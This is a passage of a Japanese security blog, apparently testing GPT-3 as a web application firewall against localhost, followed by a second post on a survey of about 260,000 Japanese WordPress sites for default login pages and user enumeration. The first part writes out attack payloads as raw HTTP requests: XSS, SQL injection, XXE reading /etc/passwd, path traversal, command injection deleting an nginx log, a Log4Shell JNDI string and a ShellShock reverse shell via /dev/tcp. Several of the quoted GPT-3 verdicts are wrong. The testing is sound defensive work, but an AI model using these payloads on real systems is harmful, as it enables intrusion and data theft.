USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded
ORIGIN: http://127.0.0.1
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONTENT-LENGTH: 62
CONNECTION: keep-alive
HOST: 127.0.0.1

msg=TEST%0D%0A&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu

 以下が GPT-3 からの返答です。

No, this is not a cyber attack. 
It is an HTTP request, which is a common way for computers to communicate with web servers.

XSS

GETパラメータ

  • GET:<script>alert(document.cookie)</script>
  • 2.83 秒
  • 検出あり

 期待通り、攻撃と判定されWAFによってリクエストがブロックされました!

 「Cookieを盗もうとしているスクリプトが含まれている」と概要も含まれています。

Is the following HTTP request a cyber attack?
-----
GET /?p=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: none
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CONNECTION: keep-alive
HOST: 127.0.0.1
Yes, this HTTP request is a cyber attack. 
It contains a malicious script that could be used to access and steal cookies from the user's browser.  

 攻撃と判定されたので下画像のように403エラーが返却されました。意図した動作になっているようです。

攻撃がブロックされたときの画面

(以後このスクリーンショットは省略します。)

POSTデータ

  • POST:<script>alert(document.cookie)</script>
  • 2.98 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
REFERER: http://127.0.0.1/
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: same-origin
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded
ORIGIN: http://127.0.0.1
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONTENT-LENGTH: 105
CONNECTION: keep-alive
HOST: 127.0.0.1

msg=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
No, this is not a cyber attack. This is a normal HTTP request.

POSTデータ & ヘッダ無し

  • POST:<script>alert(document.cookie)</script>
  • 6.88 秒
  • 検出あり

 GPT-3 に対してヘッダ情報を送信しなかった場合は検出されるようになりました。

 ヘッダ情報がノイズになっていると考えられるため、以後ヘッダ有りと無しで攻撃判定を確認していきます。

Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1

msg=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
Yes, this is a cyber attack. 
The request contains a malicious script that can be used to steal the user's cookies.

SQL インジェクション

GETパラメータ

  • GET:1 OR SLEEP(25)=0 LIMIT 1--
  • 3.75 秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
GET /post?p=1%20OR%20SLEEP(25)=0%20LIMIT%201--%20 HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: none
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONNECTION: keep-alive
HOST: 127.0.0.1
Yes, this HTTP request is a cyber attack. 
It is attempting to exploit a vulnerability in the application by using a SQL injection attack.

GETパラメータ & ヘッダ無し

  • 3.23 秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
GET /post?p=1%20OR%20SLEEP(25)=0%20LIMIT%201--%20 HTTP/1.1
Yes, this HTTP request is a cyber attack. It is an example of a SQL injection attack, 
which is a type of attack that attempts to inject malicious code into a database.

XXE

POSTパラメータ①

  • POST:<!ENTITY xxe SYSTEM "file:///dev/random" >]>
  • 8.01 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
REFERER: http://127.0.0.1/
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: same-origin
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded
ORIGIN: http://127.0.0.1
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: max-age=0
CONTENT-LENGTH: 291
CONNECTION: keep-alive
HOST: 127.0.0.1

msg=%3C%3Fxml++version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A+++%3C%21ELEMENT+foo+ANY+%3E%0D%0A+++%3C%21ENTITY+xxe+SYSTEM++%22file%3A%2F%2F%2Fdev%2Frandom%22+%3E%5D%3E%0D%0A%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
No, this is not a cyber attack. This is a legitimate HTTP request.

POSTパラメータ②

 攻撃シグネチャを少し修正して再度挑戦。

  • POST :<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  • 10.00 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
REFERER: http://127.0.0.1/
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: same-origin
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded
ORIGIN: http://127.0.0.1
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONTENT-LENGTH: 287
CONNECTION: keep-alive
HOST: 127.0.0.1

msg=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22+%3E%5D%3E%0D%0A%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
No, this HTTP request is not a cyber attack. 
It is a legitimate request for a web page.

POSTパラメータ & ヘッダ無し

  • POST :<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  • 4.36 秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1

msg=%3C%3Fxml++version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A+++%3C%21ELEMENT+foo+ANY+%3E%0D%0A+++%3C%21ENTITY+xxe+SYSTEM++%22file%3A%2F%2F%2Fdev%2Frandom%22+%3E%5D%3E%0D%0A%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
Yes, this is a cyber attack. It is an example of an XML External Entity (XXE) attack, 
which is an attack vector that exploits a web application's processing of XML documents. 
The attacker is attempting to inject malicious code into the application by sending an XML document with a malicious entity reference.

パストラバーサル

GETパラメータ

  • GET:../../../../etc/passwd
  • 3.25 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
GET /?file=../../../../etc/passwd HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: none
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONNECTION: keep-alive
HOST: 127.0.0.1
No, this HTTP request is not a cyber attack.
It is a normal request for a file, and it does not contain any malicious code.

GETパラメータ & ヘッダ無し

  • GET:../../../../etc/passwd
  • 3.77 秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
GET /?file=../../../../etc/passwd HTTP/1.1
Yes, this is a type of cyber attack known as a directory traversal attack.

OS コマンドインジェクション

  • GET:;id
  • 2.35 秒
  • 検出なし

 短い攻撃シグネチャを検出有無が気になる点。

[2023-02-21 13:13:46] local.INFO: Is the following HTTP request a cyber attack?
-----
GET /?filename=bob.txt;id HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: none
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONNECTION: keep-alive
HOST: 127.0.0.1
No, this is not a cyber attack. It is an HTTP request.

GETパラメータ & ヘッダー無し

  • GET:;id
  • 4.61 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
GET /?filename=bob.txt;id HTTP/1.1
It depends. This request is not necessarily a cyber attack, but it could be a sign of malicious intent.
It could be an attempt to access a file that should not be accessible, or to run a command on the server.

 !?「Yes」「No」以外の返答がきました。

 確かに私は攻撃シグネチャとして認識してリクエストを送信した身ですので、このリクエストが攻撃だと断言できますが、第三者が判定するのはそもそもムリそう。

 なのでブロックしないのは正しそう。上のようなリクエストもブロックする堅牢なWAFにしたいなら「No」以外はブロックするように修正すればよさそう。

GETパラメータ

 別の攻撃シグネチャで試してみます。

  • GET:; rm -rf /var/log/nginx/access.log
  • ?秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
GET /?filename=bob.txt;%20rm%20-rf%20/var/log/nginx/access.log HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: none
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONNECTION: keep-alive
HOST: 127.0.0.1
Yes, this HTTP request is a cyber attack. 
The request contains a malicious command to delete the nginx access log from the server, 
which is an attempt to damage the system.

 今度はブロックされました。Nginxアクセスログを削除するコマンドだと判定する余裕感。

Log4Shell

 次からは特定プロダクトを標的として攻撃リクエストの判定を行なっていきます。

POSTパラメータ

  • POST:${jndi:ldap://127.0.0.1:1389/a}
  • 4.16 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
REFERER: http://127.0.0.1/?
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: same-origin
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded
ORIGIN: http://127.0.0.1
UPGRADE-INSECURE-REQUESTS: 1
SEC-CH-UA-PLATFORM: "macOS"
SEC-CH-UA-MOBILE: ?0
SEC-CH-UA: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
CACHE-CONTROL: no-cache
PRAGMA: no-cache
CONTENT-LENGTH: 101
CONNECTION: keep-alive
HOST: 127.0.0.1

msg=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fa%7D&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
No, this is not a cyber attack. This is an HTTP request for a web page.

POSTパラメータ & ヘッダ無し

  • POST:${jndi:ldap://127.0.0.1:1389/a}
  • 2.68 秒
  • 検出なし
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1

msg=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fa%7D&_token=Qu5lkUoatVRwANAHzWEUKMdRrLBcCcS7Np3Nxpsu
No, this is not a cyber attack. It appears to be a normal HTTP request.

 特定プロダクトに対する攻撃の検出には困難している模様。

POSTパラメータ & ヘッダ無し

 さらにノイズをなくすためにCSRFトークンも削除してみる。

  • POST:${jndi:ldap://127.0.0.1:1389/a}
  • POSTパラメータからCSRFトークンを削除
  • ?秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1

p=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2Fa%7D
Yes, this is a cyber attack. The request is attempting to exploit a JNDI injection vulnerability.

 やっと検出されました。

WordPress のユーザ列挙

  • パス:/wp-json/wp/v2/users
  • 6.49 秒
  • 検出なし
[2023-02-21 13:03:48] local.INFO: Is the following HTTP request a cyber attack?
-----
GET /wp-json/wp/v2/users HTTP/1.1
No, this is not a cyber attack. It is a legitimate HTTP request for a web page.

 これは標準の機能として提供されているのが理由なのか、検出されそうにありませんでした。

ShellShock

 最後に ShellShock。

  • User-Agentヘッダ:() { :;};/bin/bash -i >& /dev/tcp/127.0.0.1/3333 0>&1
  • 3.23 秒
  • 検出あり
Is the following HTTP request a cyber attack?
-----
GET /cgi-bin/test.cgi HTTP/1.1
ACCEPT: */*
USER-AGENT: () { :;};/bin/bash -i >& /dev/tcp/127.0.0.1/3333 0>&1
HOST: 127.0.0.1
Yes, this HTTP request is a cyber attack. It is an example of a Shellshock attack, 
which is a type of attack that takes advantage of a vulnerability in the Bash shell.

 余裕の模様です。

まとめ

  • 攻撃シグネチャを検出させたい方向に持って行ったりしましたが、「WordPress のユーザ列挙」以外は検出できる結果。
    • 「XSSのCookieを盗もうとしている」や「OSコマンドインジェクションのアクセスログを削除しようとしている」といった影響まで返答する点は期待以上の挙動。
  • レスポンスは約3 ~ 10秒(WAF無しで0.42秒)。
    • 検証前から分かっていたことではありますが、実運用でWAFとして使うのはムリそう。
    • OpenAI の負荷状況によってレスポンス時間が大きく変動する。場合によっては 504 Gateway Timeout になってた。
  • リクエスト全体で攻撃リクエストの判定を行うと精度が大きく下がる。
    • 「リクエストライン」「ヘッダ」「メッセージボディ」で分けて検査すると精度が上がりそう。
  • 1リクエスト約1円の課金は高い。
    • トライアルは$18までなのでご注意を。

26万サイト分のWordPressをセキュリティ調査「デフォルトログイン画面・アカウント列挙 編」

はじめに

 国内のWordPressで構築されている 約26万サイトを対象に調査しました。
(※ 厳密には 260,135 サイト分)

 今回調査した内容は2つあります。

  • 調査①:「初期ログイン画面へのアクセス」が可能か
  • 調査②:「アカウントの列挙」が可能か

 調査前は特に以下の2点が気になっていました。

  • 調査①と調査②の割合に差があるか
    → (予想)セキュリティプラグインを導入すると両方とも問題なくなる場合が多いので、割合の差は少なそう。
  • トップドメイン別で割合に差があるか
    → (予想)政府が管理している「go.jp」や企業のみが取得できる「co.jp」は問題が少なそう。

調査①:初期ログイン画面へのアクセス(/wp-login.php)

調査内容

 WordPressの管理画面へアクセスするためのURLがデフォルト(/wp-login.php)になっているかを確認しています。

 管理画面がデフォルトのURLである場合は下画像のように「<WordPressインストール先>/wp-login.php」でログイン画面にアクセスできます。

 この状態だと誰でもがログイン画面にアクセスできることにより、不正なログイン試行が行われるといった可能性があります。

(※ログイン画面にアクセスできるが、認証のリクエストは拒否されるサイトも含まれます。)

調査結果

 最初に全体の数を見てみます。

 調査対象である全260,135サイト中、204,695サイトがデフォルトのURLで管理者のログイン画面にアクセスすることができました。

ログイン画面にアクセス可能か

 次にドメイン別で見てみます。検査数が20以上のものを取り上げています。
(黄色に塗りつぶされているドメインは属性JPドメインであり、取得するには特定に機関に必要なドメインです。)

 割合の差が最大は2倍ほどありますが、ドメインの特徴での差はあまり確認できませんでした。

 「go.jp」ドメインが一番対応されているドメインであることがわかりますが、それでも半数近くが対応していないのは意外でした。

調査②:アカウントの列挙(/wp-json/wp/v2/users)

調査内容

 「<WordPressインストール先>/wp-json/wp/v2/users」にアクセスしてアカウント列挙ができるかを確認してみます。

 アカウント列挙の機能が有効になっていると下画像のように容易にアカウント情報(認証情報の一部)が取得できます。

 アカウントが列挙できるという状態は、調査①の初期ログイン画面へのアクセスが可能よりも深刻であり、Tenable社のスキャナーでは脆弱性として検出されるものになっています。

WordPress のユーザー列挙 | Tenable®

調査結果

 調査対象である全260,135サイト中、134,373サイトがアカウントの列挙が可能になっていました。

 調査①よりも問題のあるサイトの割合が少なくなっていることを確認できます。

アカウントの列挙が有効か

 次にドメイン別で見てみます。検査数が20以上のものを取り上げています。

 属性JPドメインのサイトの対応割合が多い点は興味深い結果となりました。

まとめ

予想と結果

 最初に記載した予想の答え合わせをしていきます。

  • 調査①と調査②の割合に差があるか
    → (予想)セキュリティプラグインを導入すると両方とも問題なくなる場合が多いので、割合の差は少なそう。 → (結果)『調査①は約4/3、調査②は約1/2』      アカウント列挙は不要な場合が多いが、ログイン画面に関しては管理者以外も利用するサイトがあるのでその差が出たのでしょうか。

  • トップドメイン別で割合に差があるか
    → (予想)政府が管理している「go.jp」や企業のみが取得できる「co.jp」は問題が少なそう。
    → (結果)『調査①の差は小さい、調査②の差は大きい』
         調査②の問題はより脆弱性として扱われることが多いことが原因なのでしょうか。

次回

 次は実際に問題なっているプラグイン関連について調査をしていこうと考えています。

追記:第二弾書きました。⬇︎ blog.motikan2010.com